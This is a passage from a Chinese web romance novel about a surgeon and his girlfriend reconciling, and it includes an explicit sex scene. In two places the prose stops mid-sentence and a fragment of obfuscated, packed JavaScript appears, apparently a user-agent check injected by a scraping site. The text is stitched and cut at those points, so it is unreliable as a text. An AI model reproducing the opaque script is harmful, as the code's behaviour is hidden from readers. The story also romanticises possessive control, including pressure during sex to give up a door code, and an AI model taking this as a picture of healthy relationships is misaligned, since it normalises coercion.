她很清楚自己是什么样,不肯吃苦,不想受痛,她的人生信条就是在力所能及最大的范围内享受世界。她的“享乐主义”在很多人眼里是要被拉上刑台,狠狠批判的。 但也许是苑菲菲的言传身教,让沈湛明从不会“多管闲事”。 而苑菲菲女士的观念灌输,也让他身上“欠缺”某些身为男性的品格特质。 沈湛明此刻并没有预设任何立场。 他不是她的哥哥、亲人、分开许久的男友。而只是作为一个人,充分地尊重另一个人的所有自由意志。 他温声道,“曈曈,无论什么时候,决定权都在你自己手里。” 夏曈弯眸笑:“那当然,我的身体只能由我自己做主。” 沈湛明唇角勾起,又听她感慨道,“真没想到,我也会做姐姐啊。” 她对此感到不习惯,又新奇,因为始终觉得自己是家里最小的孩子。 夏曈小时候的伙伴,要么是沈湛明这样大几岁的哥哥姐姐,要么是和她同龄的曹欣她们。她没当过姐姐,也没体会过和小孩子玩的感受。 细想起来,在她身边待过的,唯一追着她叫“姐姐”的,还是谢桁。 此时的两人都想到了这一点。 夏曈抿唇,乌亮的眼珠微转。 她有些羞涩:“嗯……其实,如果你想叫我姐姐,也是可以的。” 沈湛明眸光平静,却在听到这句话后,扬起了眉。 夏曈转动眼珠,看向一旁,埋在被窝里的脸颊在他的注视下,慢慢泛出绯色。 “我也不是很想要听。可是你如果特别想的话,我也勉为其难可以接受啦……” 沈湛明唇边笑意愈发明显。 他的骨相生得极好,在车内的黑暗与窗外莹莹雪光的交织里,脸部轮廓显得尤为冷隽深邃。深浓的眉眼如墨铺陈在冷白皮肤,弯起的薄唇又是淡淡粉色。 夏曈怔然两秒,又垂下眼睫。 她忽地想起,他的手指骨节也泛着淡粉,青筋盘绕其上。 “……当我什么都没说。”夏曈将被子拉起来,盖得只露出一双眼,“你什么都没听到。” 沈湛明听到了,而且听得很清楚。 “好。等你回来,我叫给你听。” 夏曈的脸颊都快染红了。 沈湛明捏捏鼻梁,逗完她,又状作无事地看了眼时间,已经将近十二点,“不早了,曈曈,睡吧。” 夏曈憋了很久,才“嗯”声。 她临睡时的嗓音轻而慵懒,带着不经意的撒娇意味,在封闭静谧的车厢内响起,瞬间勾起沈湛明关于昨晚的回忆。 他顿了顿,脑海里已经是第二次在回忆她的模样。 他有这么压抑吗? 碰了她一次,还没真正做,只是想想,已经这么舍不得。 眼见她躲避什么似的就要挂断视频,沈湛明喉结滚动,出声道:“曈曈,跟我说晚安。” 夏曈愣了下,在他深沉而幽邃的眸光里,小声:“……晚安。” “嗯,晚安,”沈湛明唇角很轻地勾起,弧度不大,但能看出是在笑,“乖乖。” 夏曈脸颊微红,飞快挂断视频通话。屏幕蓦地一片黑,而后停顿在聊天界面。 沈湛明将手机放下,打开车窗,在驾驶座冷静了半分钟,才驱车返家。 42. 第 42 章 沈湛明原本是想多联系夏曈的。但医院工作一旦忙起来他就身不由己,与她的时间基本错开。 夏曈会给他发送消息,不多,并且大部分都是她随手拍的雪花与树木,无甚稀奇。 但至少她在乖了。 她有时会拍几秒并不吸睛的景色,背景里都是风声与杂音。沈湛明要把音量调高,才能听到镜头外夏曈的笑声。 他想知道夏曈的近况,有没有好好吃饭睡觉。尽管夏曈就住在爸妈家,杜静兰女士会强迫她作息规律、饮食健康,但沈湛明还是想听她自己讲。 中午十二点半,沈湛明结束一台手术。 换下手术服后,他收到夏曈发来的一张照片。 照片里是一束香槟玫瑰,盛开在盈满阳光的客厅一角。 沈湛明将照片放大,注意到角落处,给她回消息:把袜子穿上。 过了半分钟,夏曈那边又发来一张照片。 仍是那张照片,只不过这次,她把右下角不小心入镜的那光着的脚裁掉了。 耍赖一向是她的强项。 沈湛明无奈勾唇,恰好此时同事喊他去外面吃午饭,一行人走出大楼,他落在最后,将电话拨过去,低声劝说,语气温和,但态度强势。 夏曈不太想听他的,理由是屋里热,她都出汗了。 沈湛明熟知她这些借口,便劝说她虽处在地暖开足的室内,不觉得冷,但总光着脚,身体也会吸收凉意,何况她本身就容易碰伤。 夏曈起初还能听他讲,逐渐就不吭声,做沉默的反抗。沈湛明自觉语气不至于严厉,但她拒绝沟通,便放柔了声音,要哄她几句。 却听她似有若无地叹了口气,小声说:“你总不在我身边,我根本记不住呀。” 她的声音极轻,悠悠如丝线,却压过了他所处的人行道的嘈杂背景音,钻入他的耳中。 沈湛明顿住步伐,喉结滚动,“……曈曈。” 夏曈仍轻声:“嗯?” 她不等他的回答,两秒后,通话结束。 沈湛明将手机放进裤袋。雪后的阳光冰冷而刺目,他微皱起眉,表情出现短暂的失神。 午饭是在医院附近的一家牛腩煲,以上菜快、饭量足而广受好评,尤其适合省院这些又忙又耗精力的医生们。 沈湛明话不多,落座后便安静吃饭。 周围同事倒是侃侃而谈。期间,有个男同事提起今早送来的急诊案例,说着说着将照片找出来分享给诸位,挨个传看。 医生的手机里总是塞满了各种资料与血腥照片,但多年学业与工作的“滋养”,早已让这些人对此免疫。 沈湛明瞥了眼,没什么表情,胃口依旧不错。 他只是想起和夏曈同居的那个暑假,有次她打开他的手机相册,想去找一张之前拍的日落,却不小心翻到了肢体图片。 满屏的血肉模糊让她发出尖叫,沈湛明闻声迅速赶去,就见她已经把手机丢在地上,吓得脸色发白。 那天,她连番茄炒蛋都不肯吃。 也是自那以后,沈湛明就注意把图片分类上锁,以免她再次误触。 但其实夏曈也很少再看他的相册,她连他的手机都不怎么碰了。 对面新入职半年的同事注意到沈湛明的走神,随口笑道:“沈医生在想什么?是不是刚才打电话的那人啊,女朋友吗?” 沈湛明不置可否。 自去年冬天,夏曈不告而别后,他已经无法再回应同事的善意调侃。许护士与夏曈相熟,也曾在与他碰面时询问过她的近况,沈湛明无话可说,并且那段时间眉头总下意识蹙着,比以往更沉默安静。 同事们似乎猜出点什么,渐渐地,也不再提及他的感情之事。 这位新入职半年的同事并不清楚内情,只在饭桌上与他套近乎。旁边人打圆场道:“他上午刚做了六小时手术,累着呢。” “啊,”那同事又笑,“说起来,早晨去查房时,那个骨裂的郑阿姨还向我打听沈医生是不是单身,她想把自己女儿介绍给沈医生。” 沈湛明眉头轻蹙,流露出不悦。 那同事并未察觉,“她女儿是S大的行政老师……” “不用,”沈湛明忽然出声打断,在周围同事的疑惑目光里,淡声道,“我有女朋友。” “……啊?” 与他相熟的那个男同事也惊讶。 沈湛明相貌俊朗,气质也清正。一直以来,无论新入职的年轻同事、亦或病人、家属中,都不乏向他示好的优秀女性。但他神情冷冽,公事公办,连敷衍都欠奉,搞得同事们都以为他是被甩后留下心理阴影,从此再不肯碰女人。 结果这就“有女朋友”。 联想到刚才那通电话,以及沈湛明讲话时分外低柔的语气。除了那个姓夏的小姑娘,再没有谁能让他露出那副表情了。 同事沉默两秒,试探着笑道:“好久没见过夏小姐了。” 沈湛明听出话意,眉眼舒展,淡道:“她还在老家,过几天才能回来。” 此话一出,周围人就知道——女朋友永远都只有那一位。 并且瞧沈湛明的脸色,这是和好了。 于是氛围再度活跃起来。有同事好心提醒:“我们沈医生这么受欢迎,也是一种烦恼啊。” 沈湛明持筷的手微顿,淡道:“如果还有好奇我个人情况的,就麻烦你们挡掉了。” “嗨,小事。” 之后,这消息很快被周围同事们知晓。 沈湛明作为条件优质的年轻医生,入职以来,医院里就不乏探听他婚姻感情状况的热心人,甚至有领导动了将他收为女婿的心思。他不堪其扰,早早放话出去,与女友关系极好,除了她,不考虑别的任何人。 如此,才避免许多不必要的接触。 去年夏曈不告而别,两人断崖式分开。沈湛明对待工作研究仍保持谨严的态度,按部就班地进行,意志却消沉下去,本就不多的笑容更是彻底消失。 同事们茶余饭后,都猜测是分手,也有说小情侣吵架。沈湛明不管背后怎么议论,但若明着问他,他只答没分手,仅是异地而已。 但经过那天的事,众人心里倒是有谱了。 别管分手还是吵架,沈湛明现在肯定和那位姓夏的小姑娘在一起呢。平时再冷漠清隽的男人,恋爱时,脸上的笑意都是实打实的。 这天晚上,沈湛明去了趟住院部,遇到正询问病人情况的许护士。 两人走出病房,彼此保持客套而疏远的社交距离。许护士说起某个病人术后恢复得很好,白天还说要给他制作锦旗表示感谢。 沈湛明漫不经心听着,对此并不发表意见。 许护士看出他不怎么在乎这个,心思倒像在别处,于是轻声笑道:“好久没见过夏曈,她现在还好吗?” 提到夏曈,沈湛明的眼眸微动,不再分神,“很好。” “我记得去年吧,还经常遇到她来给沈医生送夜宵。” 在医院工作久了,许护士平时见惯生死别离,心态难免就会受到浸染,变得悲观。因此,她很喜欢夏曈这样青春无限的女孩子,有着最纯粹的活力,像是投入水池的一枚琉璃珠,溅出水花点点,在阳光下有声亦有色。 沈湛明的唇角微弯,“她很会替人着想。” 即使夏曈经常做出一些令人无法享受的食物,在他的眼里也很好。 做不到违心夸她厨艺,便夸她心思细腻。 许护士挑眉,看到沈湛明线条清晰的侧脸,唇角笑意细微,却分明。 他即便不笑,深邃眉眼也比之前柔和许多。 哪像去年,谁跟他讲话,他都一副冷淡神色,浑身充满了被抛弃的怨念。不懂内情的还以为是省医院工作压力大,医生上班都上疯了。 走到电梯处,两人即将分别,许护士放轻声音:“这就算复合了吧?” 沈湛明眸光微凝,唇角忽然落下来:“我们没有分手过。” - 晚上八点,沈湛明准备开车回家时,收到夏曈发来的晚餐图片。 他仔细看过,确认她有在好好补充营养,并叮嘱她不要总是在沙发躺着刷手机,无聊就去找小伙伴玩。 没过多久,夏曈发来第二张图片。 她也许是在走路,手抖,图片有些模糊,但能看出是她牵着汤圆外出,右侧是幽暗的绿化带。沈湛明勾唇,刚要夸奖,夏曈打来语音。 “沈湛明,我想吃那家蟹粉小笼包。” 背景音嘈杂,她的声音不自觉提高,夹杂些气喘,还有汤圆撒娇似的呜呜声。 “哪家?” 沈湛明想到了,“榕记?” 夏曈说是。 榕记在他们之前居住的那个小区附近。老板做了几十年的蟹粉小笼,选材、手艺极好。那家小店从不打广告,每天清晨顾客仍排起长队,足可见其口碑。 从他们现在居住的小区开车到那里,需要半个小时。 “等你回来,我到……九号吧,九号那天去买,” 沈湛明平时是没有时间绕远的,但他最近一直在加班,那天上午可以争取休息,“好不好?” 夏曈满意了:“好呀。” 那边静下来,她似乎是找了个地方坐着休息了。两人都没挂电话,有一句没一句地说话,更多时候沈湛明是静静听着她跟汤圆对话。 他听到夏曈放细了嗓音,跟汤圆聊得有来有回,“跟妈妈出来玩就是开心,对不对?” 沈湛明不由挑眉:“你是汤圆的妈妈,那我是谁?” 夏曈很认真地思考,“舅舅吧。” 沈湛明低声道:“哦,我养它这么久,只混成个舅舅。” “当初汤圆是我带回来的呀,它只能是我的孩子。”女孩子语气骄矜,“沈湛明,你能当舅舅已经很不错了,好吗?难道你还想当爸爸吗?” 沈湛明默然良久,“我有权利吗?” 夏曈知道,他才不是真的想当爸爸,他只是想拥有与她重新开始的权利。 可她不肯正面回答,只开了个玩笑,“什么时候汤圆学会那样叫你,你就有权利。” 边牧再聪明,又怎么可能学会说话。 挂掉电话,沈湛明坐在驾驶座沉默。 短暂的分神后,他才驱车回家。 途径十字路口,红灯依旧是漫长的95秒。疲惫的精神骤然放松,他的手掌搁在方向盘,深呼一口气,不经意望向窗外。 夜晚天幕幽暗,错落有致的建筑群与繁荫绿植簇拥着一座大教堂,钟楼与红色尖顶在昏曚灯光里,清晰可见。 沈湛明短暂地愣了会神。 他没有任何宗教信仰,也从不踏足此类场所。 唯一一次,是在三年前。 他在国外留学时的舍友,是个狂热的宗教皈依者,将厚厚的一本经文时刻搁在手边,论文写不出时也会趴在黑色封面上痛哭。沈湛明起初并不在意,经文亦是文字,但凡文字,便可以承载撼动人心的力量。 有人对此狂热,也有人将此当作便携式心理咨询。 而当时的沈湛明,爱情、学业,样样顺利,自以为不需要任何心理慰藉。 直到他有次飞回国内去见夏曈,在F大教学楼外的芙蓉树下,远远看到了正在下楼的夏曈。 以及她身边的一名年轻男生。 那天夏曈穿着一件格子短裙,露出两条雪白笔直的长腿。她酒红色长发微卷,披散在肩背,在天边火烧云投射来的光芒里,仿若流淌的火焰。 她并未注意到沈湛明,与那男生说说笑笑,偶尔低头看台阶。此时微风骤起,吹乱她的发,她的怀里抱着书,有些费劲地腾出一只手,那男生却自作主张,替她将发丝挽在耳后。 极为暧昧的动作,不应该发生在同学之间。 可沈湛明却清晰地看到,夏曈并未对此感到不自然。 她依旧弯眸笑,红唇开开合合,不停说些什么,那男生也眉眼弯弯,从远处看,倒像是一对情侣。 沈湛明站在摇曳的树影里,冷抿着唇,等待夏曈走过来,等待她何时能发现他。 幸好,夏曈没有一直消耗他的耐心。在怒火蓄积的半分钟后,认出了沈湛明的身影。 夏曈在看到他时有瞬间的怔愣,旋即露出惊喜的笑,一路奔到他怀里:“怎么来这么快!不是说的晚上吗?” 沈湛明接过她抱着的书本,姿态自然地搂住她的腰,随后在那男同学的视线打量中,吻她的唇,“给你个惊喜。” 他们虽在树荫清凉的夹道,但仍有同学来往,夏曈脸色微红,“别在这里亲我。” 沈湛明不置可否,对那男生点头,唇角勾着淡然的笑。 他不必说什么,仅这一个举动就可以宣示他的地位。 男生微眯眼,看过来的眼神里几分审视与敌意。 沈湛明不予理会,客套的道别之后,揽着夏曈的腰转身离开。 那天晚上在酒店,他没有与夏曈说些醋话,只是施了力气,事后又购买一条漂亮而高调的手链,情侣款,让夏曈戴在腕部,不许摘下。 只因夏曈被他套话,无意中透露出,那男生是她一个小组的成员,明天上午他们还要一起讨论项目。 他们今后还会见面。 沈湛明没有任何理由阻止。他自觉幼稚,却又忍不住以这种方式彰显自己的存在。 说到底,他无法限制她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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终于在一次通宵后,沈湛明放下文件,起身出门。 这个城市在下雨,天空是阴暗冷沉的蟹壳青。他撑着雨伞,在街头漫无目的地走,眼中有明显的疲惫。 就是在那时,他踏入一所教堂。 阴暗的天色仍不减玻璃彩窗的华美,教堂内部有许多人正在祷告。 沈湛明在靠后的位置坐下。他本就皮肤冷白,此时浓睫轻垂,黑发垂在额前,瞧起来显出几分脆弱感。 也正因如此,在祷告过后,牧师被他身上气质吸引,从而主动走过来,低声询问他是否要忏悔。 沈湛明抬眸。 短暂的沉默后,他淡声道:“我对当下的恋爱状态感到不满足,我想要更多,想要她全身心都只属于我一个人。” 他眼珠漆黑,声音轻得可以被雨声盖过去,“我有罪吗?” 轰隆一声雷鸣,他没有半点忏悔的冲动。 如实相告,只不过出于好奇,如果站在宗教的角度,该如何评价现在的他。 牧师没有从沈湛明的眼里看到半点歉疚,相反,这个年轻的东方男人,眼里唯有求不得的偏执与痛苦。 他无意忏悔。 他早就决定该如何继续下去,此时也只想给自己的偏执寻求一个冠冕堂皇的借口。 因此牧师微笑看他,眼里露出怜悯的善意:“凡事包容,凡事相信,凡事盼望,凡事忍耐。” 爱是恒久忍耐,又有恩慈; 爱是不嫉妒,爱是不自夸,不张狂。 沈湛明眸中掠过幽光,唇角勾起一抹嘲讽的笑,随后淡声道谢。 那是他唯一一次踏入教堂。 他找不到填补内心执念与占有欲的东西,也决意不再寻找。 沈湛明贪求的太多。他心底的欲念就像黑洞,永远无法满足。 他们刚在一起时,沈湛明甚至做好了以后被她抛弃的准备。 夏曈年轻、鲜活,是个追求新鲜感的小女孩。 待她长大后,也许会碰到更喜欢的人。到那时,沈湛明应该大度,他该摆出正宫的姿态,放任她去追求幸福。 后来,他想要夏曈喜欢他久一点。 他们恋爱的时限可以拉长到十年、二十年。 他许愿她仁慈一些,等他年老色衰,再去爱上别人。 可是现在,他想要夏曈的世界里只有他一个人。 他想要夏曈的喜怒哀乐、爱恨贪嗔,都仅仅展现给他看。 这辈子,都只给他看。 但这可能吗? 沈湛明贪心到自己都感到不可思议的地步。 传世经文被他弃若敝履,没有任何文字与智慧可以救他脱离执念与贪欲的旋涡。 尤其是在得知,他的曈曈,在抛弃他之后,转而投入了另一个男人的怀抱。 沈湛明不肯承认这个事实,就像他始终不肯承认他们那时已经分手了。 他嘴硬说她是前女友,实则只在试探她的态度。 可她没有软化、没有撒娇,更不来亲他哄他。 沈湛明忍了很久的气,即使现在夏曈已经触手可及,他仍缺乏实感。 他不知需要多久,才能找回当初拥有她的感受。 他在恋爱方面实则很笨,学不会怎么甜言蜜语哄她开心。他了解她,但只限于哥哥与妹妹的相知相熟。有些男女之间的事情,则需要她软磨硬泡很久,他才能体会她细腻的心思。 沈湛明有时会感到幸运。 他空虚至此,他只是具备生存的基本技能。而她却拥有可以获得幸福的力量。 不管她选择与谁在一起,那个人都会感到幸福。 她只是选中了他。 沈湛明会庆幸自己的出身,庆幸两家的交情,让他在她出生的第一天,就能陪在她身边。 在岁月的磨合中,他们凭借爱意驱使,从刚开始恋爱的青涩生疏,逐渐学会了对彼此的包容与体谅。 无论是配合,还是摩擦,都让他们更懂得该如何维护这份感情。 一年多的分离,对于沈湛明来说,既是痛苦,也让他终于认识到自己有多幸运,能与夏曈这样美好的人恋爱。 他永远都做不到真正理智、真正包容。 对他而言,爱是自私,爱是占有。 爱具有排他性,爱会让人变得贪心。 他表现得成熟稳重,只不过是因为他一直在忍。 也正因他得到过,才更无法忍受失去的痛苦。 他想要夏曈的目光永远注视着他,她的吻永远都落在他唇上。 她的娇纵与体贴,暴躁与安静,脆弱与坚强,她的所有一切,都毫无保留地展现给他看。 只给他看。 43. 第 43 章 初八,夏曈拒绝沈湛明亲自去接。她搭了顺风车,带着汤圆和胶布一块回S市。 晚上七点,沈湛明到家。 打开门的瞬间,就见夏曈抱着胶布站在玄关:“你回来啦。” 灯芒带着暖意,给她的脸颊润上一层清透的光。 沈湛明的视线凝望着她:“等久了吗?抱歉,科室里有点事耽搁了。” “没等你,”夏曈轻轻低头,将脸颊埋在小猫的毛里,“我有点饿了,正要换衣服去外面吃饭呢。” 嗯,没等。 没等他,还在微信上给他发那么多猫狗的表情包,隐晦地催他快回来。 夏曈的目光注意到他手中提的购物袋,扬眉道:“不过既然你都回来了,我……” 她的话没能说完。 沈湛明勾唇轻笑,在夏曈疑惑懵懂的目光里,俯身吻住她。 他吻得轻柔,夏曈缩着肩膀,没躲,唇瓣微微分开,方便他的舌尖探入。 胶布肥硕的身躯被两人挤在中间,喵喵叫着,在她手臂挣扎。夏曈没按住,被它扭身跳下去。 两个人的身体因此再无阻隔,沈湛明将她抱在怀里,抵在墙上用力亲吻。 这个吻结束时,夏曈的眸子里泛出湿润的水光,气也喘不匀了,“沈医生打招呼的方式好特别。” 沈湛明在她颈间细细嗅闻,声音低沉,“用了什么香水?” “唔,没有用。”夏曈想了想,“应该是在车里沾到的味道。” 她打车只要女司机。这次顺风车的司机很有生活趣味,车内装饰优雅又简洁,玻璃瓶里还养了一束百合,香味浅淡,但她坐车够久,难免会沾上些。 沈湛明摸了摸她的脸,这才在玄关脱外套换鞋,轻声问她,“给你做番茄牛肉,好吗?” 夏曈舔舔发麻的唇,点头说好。结果转身一看,汤圆半蹲在地上,胶布趴在它身边,盯着他们已不知多久。 她脸颊微红,当着孩子的面亲亲是一件令人尴尬的事。即便这俩孩子都是毛孩子,不会刮着脸颊说羞羞。 她脸红红地回到沙发,刚想找部电影看,就见沈湛明将超市采购的食材放在厨房,洗手准备做饭。 夏曈想了想,又走过去,“需要我做什么?” “冰箱里有洗好的蓝莓,”沈湛明开始切番茄,头也不回,“拿出来放十分钟再吃。” 夏曈照做,然后才发现沈湛明的意思是让她乖乖去沙发吃水果,厨房的事不需要她插手。 只要有他在,就不必她去做任何事。 他们之间一直是这种相处方式,他会为她做好一切。 而夏曈也并不是全然的家务废,只是习惯于依赖他。而沈湛明总是对她无限溺爱。 夏曈抱着水果碗,靠在厨房门边,看沈湛明动作利落地准备食材。 他深色衬衫袖子挽起,露出一截精实的小臂,动作时牵动肌肉,筋脉蓄着隐而不发的力量。 夏曈看了一会儿,忽觉自己也不是特别饿。 她出声道:“沈湛明。” “嗯?” “你把手洗一下。” 沈湛明动作微顿,如她所言,将手洗净。 鲜红的番茄汁被水冲走,他的手指冷白,水光晶莹。 夏曈走到他身边,将水果碗随手搁在台面,踮脚去吻他,润湿的唇舌灵巧渡过去一颗蓝莓。 酸甜的汁液在彼此唇舌弥漫,一丝水痕来不及吞咽,溢出她的唇角,淌至下巴。沈湛明的手还湿着,此时也不顾得什么,揽住她的腰深深吻她。 那颗蓝莓不知被谁吞下,夏曈咬他的下唇,小声问,“沈湛明,你买套了吗?” 仍记得他们在F大校外同居时,在那个狭小潮湿的卫生间里,她也这么小小声地催促,表情羞涩,眼里却露出好奇的光芒:沈湛明,你去买安全套呀,我们要做好措施的。 两次,沈湛明的回答都一致,“买了。” 只要是她想要的,他都提前做好准备。 夏曈被他抱回卧室,放在那张柔软宽大的床榻上。被阳光晒过的被子散发出好闻的味道,像是一团温暖的云将她裹住。 她快被亲懵了,嘴唇红红的,眼珠晶亮的,两颊显出醉意的蔷薇色。沈湛明覆在她身上,将她从衣物里剥出来,看她皎白的肌肤在灯下泛出润泽,纤细的手臂横在身前,遮住胸口,似对他的凝视感到羞涩。 饶是此刻,沈湛明仍记得她以往要求的“公平”,于是在亲吻落下之前,抬手解开衬衫领口,要把自己脱成和她一样的程度。 夏曈却在这时抬起手臂,制止他的动作。 “不要脱,穿这样就好……” 她支起身体,目光在他的胸膛和腰腹处逡巡,微抿的唇慢慢弯起,笑意愈发扩大,是很喜悦的样子。 沈湛明看到她这副馋样,立刻就懂了。 他今天参加了一次会议,衣着也相对正式。 而夏曈最喜欢看他穿成这样。 深色衬衫,皮带束腰。熨帖,冷感,正式,又带着一丝禁忌似的束缚性,包裹住这具年轻勃发、精实有力的身体。 夏曈也不会玩很出格的,她只喜欢在他精实的胸膛和腹部抓来抓去,没什么技巧,小孩子玩玩具似的胡闹抓摸。但总能在半分钟内撩拨得他浑身燥热。 沈湛明已经忍了那么久,不差这一时片刻,愿意让她先开心。 于是他忍住欲/望,坐在床沿,任由她看,也任由她摸。 夏曈仰脸亲亲他的唇,奖励他的“听话”。 她的双手放在他身上,从肌肉紧实的腰腹开始,逐渐向上,拂过他灼热精壮的胸膛,到最后,两条手臂像是藤蔓,缠住他的脖颈。 她本是正常肤色,此时两条光/裸细腻的手臂压在他身上的深灰衬衫,却显得尤其白。 沈湛明的掌心按在她的皮肤。 他的手指有如一把精妙的尺,精确测量出她身体的变化,“是长了点肉。” 夏曈抿唇笑,“你每天打卡一样监督我吃饭,不胖也得胖了。” 沈湛明的眼里也有点笑意,“再养养,现在还是有点瘦。” 夏曈在他下唇咬一口,满意地听到了男人稍显沉哑的喘/息声。 她已经坐在了他腿上,与热源仅有半指的距离。 “沈湛明,” 她的眼珠又黑又亮,像碗底的水银,亲昵地与他鼻尖轻蹭,“你好涩啊。” 沈湛明按在她后腰的手掌灼烫而用力,沉沉道:“我怎么了?” “怎么我咬你,你也能有反应?”夏曈与他轻蹭着鼻尖,“你有恋痛癖吗?” 湿热的气息在彼此间交换,沈湛明捏住她的后颈,与她接吻。 屋内地暖烧得很热,不至于冷。夏曈身上衣物全被剥光,肌肤与空气直接接触,仍是激起一层鸡皮疙瘩。 但沈湛明的掌心灼热,又很好地安抚了这一点。 夏曈不让他脱掉衬衫,“就这样做。” 沈湛明随了她的意。 衬衫合身,却终究不方便做大动作。沈湛明有些不尽意,反而把夏曈伺候得很好。 第一次结束后,夏曈仍被他高大健壮的身躯压着,有些喘不过气,脸颊红透地抬手推他。 沈湛明起身出去,把衬衫脱掉,将她翻了个面,吻咬她的后颈。 她的脖颈细白,细汗晶莹,微微躬身的姿势使得后颈一块骨头突起。 沈湛明的浓睫低垂,视线恰好可以落在这块骨头上。学术上称之为第七颈椎棘突,是颈、胸脊柱的天然分界点。 而在沈湛明心里,则把它称为夏曈的叫声开关。他每次亲吻这里,她都会像被捏住后颈的小猫一样,发出微弱又勾人的细细声音。 没了衬衫的束缚,沈湛明这次做得有点凶。夏曈没坚持多久就累了,扭着身子要逃,却被他压覆住,半点逃不得。 沈湛明凑在她耳边,低低说了句话。 夏曈的心跳快得濒临死亡,血液在身体里快速流淌,耳内轰鸣。她根本没听清他在说什么,唯有泪珠在眼眶里,欲坠不坠。 沈湛明捏着她的下巴,又说一遍,“等会给你把门口的指纹录上?” 夏曈反应片刻,才听懂他的话意,“……不要。” “不要?” 沈湛明捏住她的腰,“要不要?” 夏曈被压制着,没有反抗的力气,欢愉又尽在他指掌,被收拾了一顿后,只得咬唇答应他的要求。 之后沈湛明顺水推舟,要她家里指纹锁的密码,并录入他的指纹。 夏曈又羞又恼,气得头顶冒烟,反手肘击他的胸膛。 她使了好大的劲,自认爆发力堪比核弹,实则打在他身上,力道与小猫踩奶差不多。 沈湛明看她这个要哭不哭的样子,终究心软了。 她那肘击一点都不疼,但他还是配合地痛哼声,让她听见,好歹心里痛快些。又将手掌送在她唇齿,哄她张嘴,“生气就咬我。” 夏曈没客气,将他的虎口咬出血痕。 她的牙齿是利的,可以刺破他的皮肤,唇舌却柔软。沈湛明清晰地感受到那份触感,蹙眉忍耐片刻,将手指塞到她口中。 他眉头轻皱着,一滴热汗落在她的耳后。 这种时刻,他盼望多久了? 久旱逢甘露,饶是沈湛明也无法保持冷静。她在哭,很好,带着哭腔的抱怨声反而让他兴奋。 他掰过她的下巴,用力亲吻。 夏曈的脸上浮现秾艳的红云,被他有意折磨,几次都是濒临之际,又被生生打断。她有些神志不清,心里又气又委屈,咬他肌肉紧绷的手臂,狠狠地咬出血来。 “你好烦,你现在怎么这么坏?” 夏曈含混地抱怨,“我不想这样了。” 沈湛明哑声低笑,拂开她脸颊的碎发,换了个角度,“那这样?” 夏曈没忍住,溢出带着哭腔的哼声。 卧室门紧闭着,汤圆在外面用爪子挠门,喵喵叫着,似乎听到了妈咪的呼救声。 小猫的听觉很灵敏。 可是小猫怎么懂呢,那才不是它的妈咪在求救。 两人吃晚饭时,已是晚上九点多。 夏曈是真的饿坏了,把沈湛明给她盛的牛肉饭都吃干净,过片刻又去开了瓶牛奶。 她原本是想和沈湛明算账的,可结束后,沈湛明又埋头亲吻她。夏曈晕乎乎的很舒服,也不打算和他计较了。 沈湛明去厨房洗碗,夏曈在沙发前的地毯盘腿坐着,拿逗猫棒和胶布玩。 最后那次是在浴室,两人干脆又洗了次澡,夏曈身上都是沐浴乳的味道,青柠薄荷味,让她总觉得自己是一杯泰式柠檬茶。 沈湛明收拾完厨房,来到客厅准备给她安置行李,随口问:“东西都放在我这里?” 夏曈的眼尾还微红,吸了吸鼻子,有点不想理他。但见他已经拿出她的睡衣和贴身衣物,准备收到卧室,这才出声阻止:“不用,放我家就好。” 沈湛明偏过头问,“那你下次过来穿什么?” 他已经考虑下次了。 夏曈垂眸不想回答。沈湛明也不强求,将干净衣物放回行李箱,没来得及洗的就放到洗衣机里顺手给她洗了。 “不想放我这里也行,等回头我再给你准备一套。” 他拉着行李箱杆,让她起身穿外套,“走吧,现在去给你把东西整理好。” 到了对面,夏曈一进门就瘫在沙发,累得不想动。沈湛明帮她摆放各类物品,他熟知她的生活习惯,因此做起来很高效。 夏曈抱着汤圆的脑袋,看他有条不紊地整理,恍惚觉得好像两人已经一起生活了好多年。 确实也有好多年了。 沈湛明比她更熟悉她的生活习惯。 他将夏曈的衣物折叠好,收在衣柜。护肤品、化妆品则按照她的使用习惯,分别放在妆台和浴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏曈应了声,又问:“你回自己家吗?” 沈湛明看她,“你想让我回哪里?” 夏曈装作听不到,起身往卧室走,却在他即将出门时,探出个脑袋,“指纹明天再设吧,密码是我生日。” 说完咣叽把卧室门关上。 沈湛明唇角微勾,下楼丢垃圾。 等回来时,沈湛明先是去了他家,拿一套洗漱用品,然后又去夏曈那里。 按下密码开锁的时候,心里浮现一种久违的熟悉与安定感。 门开,热气扑面而来。 客厅里,胶布和汤圆倒是相处极好,共同玩一只彩色的毛绒球。沈湛明过去摸汤圆的脑袋,让它小声,随后将他的洗漱用品摆在浴室里,紧挨着夏曈的卸妆与护肤品。 这个家里安静而温暖,已经彻底没有外人的痕迹。 一切的一切,都是他和她。 沈湛明收拾完毕,让汤圆和胶布也睡觉,随后将客厅灯光都关闭,来到夏曈的卧室。 床头亮着一盏夜灯,暖黄的灯光悄无声息地流淌。 氛围静谧,夏曈睡在柔软馨香的被子里,呼吸平稳,是睡熟的样子。可当沈湛明在她身边躺下,她感知到熟悉的气息,又下意识往他怀里钻。 沈湛明拥住她,手掌惯性地摸了摸她的脑袋,带着安抚意味。 他今晚真是有些狠了。淡柔的光线投射在她红彤彤的脸颊,照亮她微肿的唇,她在睡梦里也蹙着细眉,眼皮还存着哭泣的痕迹,瞧起来实在可怜。 这张小脸和他的一只手差不多大,他当时是失去理智了吗?他是怎么狠心捏住她,要她哭出声的? “抱歉。” 沈湛明靠近她,与她鼻尖相抵,很温柔地轻吻她的唇。 夏曈无意识地更贴近他的身体,唇舌轻柔,她感觉自己被他搂紧了,脑袋也被按住,于是很快就清醒几分。 他们使用同一支牙膏,因而尝到了彼此口腔里同样的薄荷味。 夏曈感受到他的反应,往后退了一点,摇摇头:“不想做了。” 沈湛明漆黑幽邃的眼睛看她片刻,又追过来,吮吻她的舌尖,如实道:“不做。” 夏曈的腰被他揽住,后颈也被他捏着,没力气逃,也不想逃,由着他亲了一会儿。 意识朦胧之际,夏曈记起,沈湛明以往并不沉迷于接吻。 